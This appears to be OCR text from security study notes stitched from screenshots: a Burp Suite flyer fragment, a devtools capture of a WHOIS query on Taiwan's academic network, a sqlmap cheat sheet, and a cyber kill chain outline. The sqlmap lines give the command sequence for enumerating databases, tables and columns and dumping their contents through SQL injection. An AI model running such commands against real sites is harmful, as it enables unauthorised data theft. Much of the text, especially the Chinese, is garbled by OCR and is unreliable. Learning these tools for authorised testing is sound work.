REPEATER INTRUDER| EXTENDER

+ + o+

pa. Extender as its name suggests is used o add new

/
——

el
Burp pvoxy is heart and soul of burp-

With ik you can
Request and. Response

server

b4 )

can intercept UTTP » IS, websocket

Burp compatible jars can be
loaded via +his,

Currenty Burp Supporis
plugin Support for Java,

Jython and 'JRub:,-

4(

https://securityzines.com/pages/flyers/burp
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2| & g5 +curl(Bash)+CurlConverter

a TAMet IP Whois b4 £ Convert curl commands to ¢ +
c % whois.tanet.edu.w\r/showWhoisPuinc.php?queryString:_&submitziﬁ

ik [0 | Elements Console Sources MNetwork Performance Memory Application  Privacy and security Lighthouse  Recorder B1 8 @ X

_— =

@ T. Q Preserve log Disable cache Mothrotiling ~ T 4 O

¥ Filter Invert More filters + | All ||| Fetch/XHR | Doc | CS5 || Js || Font || Img || Media | | Manifest | | Socket || Wasm || Other
Chinese Name HEIZR

40 ms 50 ms 60 ms T ms 80 ms W ms 100 ms 114
Netname TANET-TW

Organization Name[ TANET

R ered Date 2010-01-19

Admin Contact tanetadm edu tw Name X Headers Payload Preview Response Initistor Timing

Tech. Contact tanetadm cedu.tw [ showWheisPublic.php?quer._. | v General

Spam. Contact abu noe.edu.tw Request URL https://whois.tanet edu.tw/show\WhoisPublic php?queryString=140.112.0.0&submit=%E9%30%8 1 %E5%3 7%
BA

Request Method GET
Status Code 200 0K
Remote Address 140.110.96.129:443

Referrer Policy strict-origin-when-cross-origin
» Response Headers (8)

¥ Request Headers

Accept text/html application/xhtml+xml application/xml;q=0.9,image/avifimage/webp,image/apng,*/*q=0.8,appl
ication/signed-exchangev=b3;q=07

Accept-Encoding gzip, deflate, br, zstd
Accept-Language zh-TWzh;q=09
Connection keep-alive
Host whois tanet edu tw
Referer https://whois.tanet edu tw/
-Ch-Ua "Google Chrome”w="137", "Chromium";v="137", "Not/A)Brand"v="24"
-Ch-Ua-Mobile 0
-Ch-Ua-Platform "Windows™
-Fetch-Drest document

-Fetch-Maode navigate

https://curlconve



} sglmap
ORI BIZSQL InjectionmEAEARE - NABMEILEETHE -
5EE%E
sglmap -u [url] --dbs
S B E
sglmap -u [url] -D [database] --tables
F ) tables(BRIER)
sglmap -u [url] -D [database] -T [tables] --columns
HH columns (1)
sglmap -u [url] -D [database] -T [tables] -C [columns] --dump
dump&E]
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HEBR

Reconnaissance

HETIH

Weaponization

FIERE

Delivery

SSREIRE

Exploitation

PERIIRIR

Control

WERNT

Execute

AEFTER

Maintain

B HEfHE

Tracing

- BIRIERHERE

- RERREER AR

- REABBEFIEREIA
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- BARRIRE BRI
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- fEHEES ~ RMEEEBFESSR > L ARRRTF

- BT HAREEN FEIREHE > BHLEXKEER
- HEZREBETEH2ERIE(Incident Response)

KRENETAIUEARESCERBRARBEETA » K
EHEEBBRBERRE - EEALUETTRNRBIRRENR
5 BREAGA T AT EMKBEA

AREHBRARRIEETH  SERERELHR
45 & SIEMPRUSEERILogiETTLER D 1fT » B ROt ET ¥
SSRLEITHRRARIE » R AERIR SR — B E ¥

v B ZREERERE R IER

L T RREOENRREmESms

https://www.freedom.net.tw/ict-insight/security/cyber-kill-chain.html
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Implementation :
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https://ithelp.ithome.com.tw/questions/10214833
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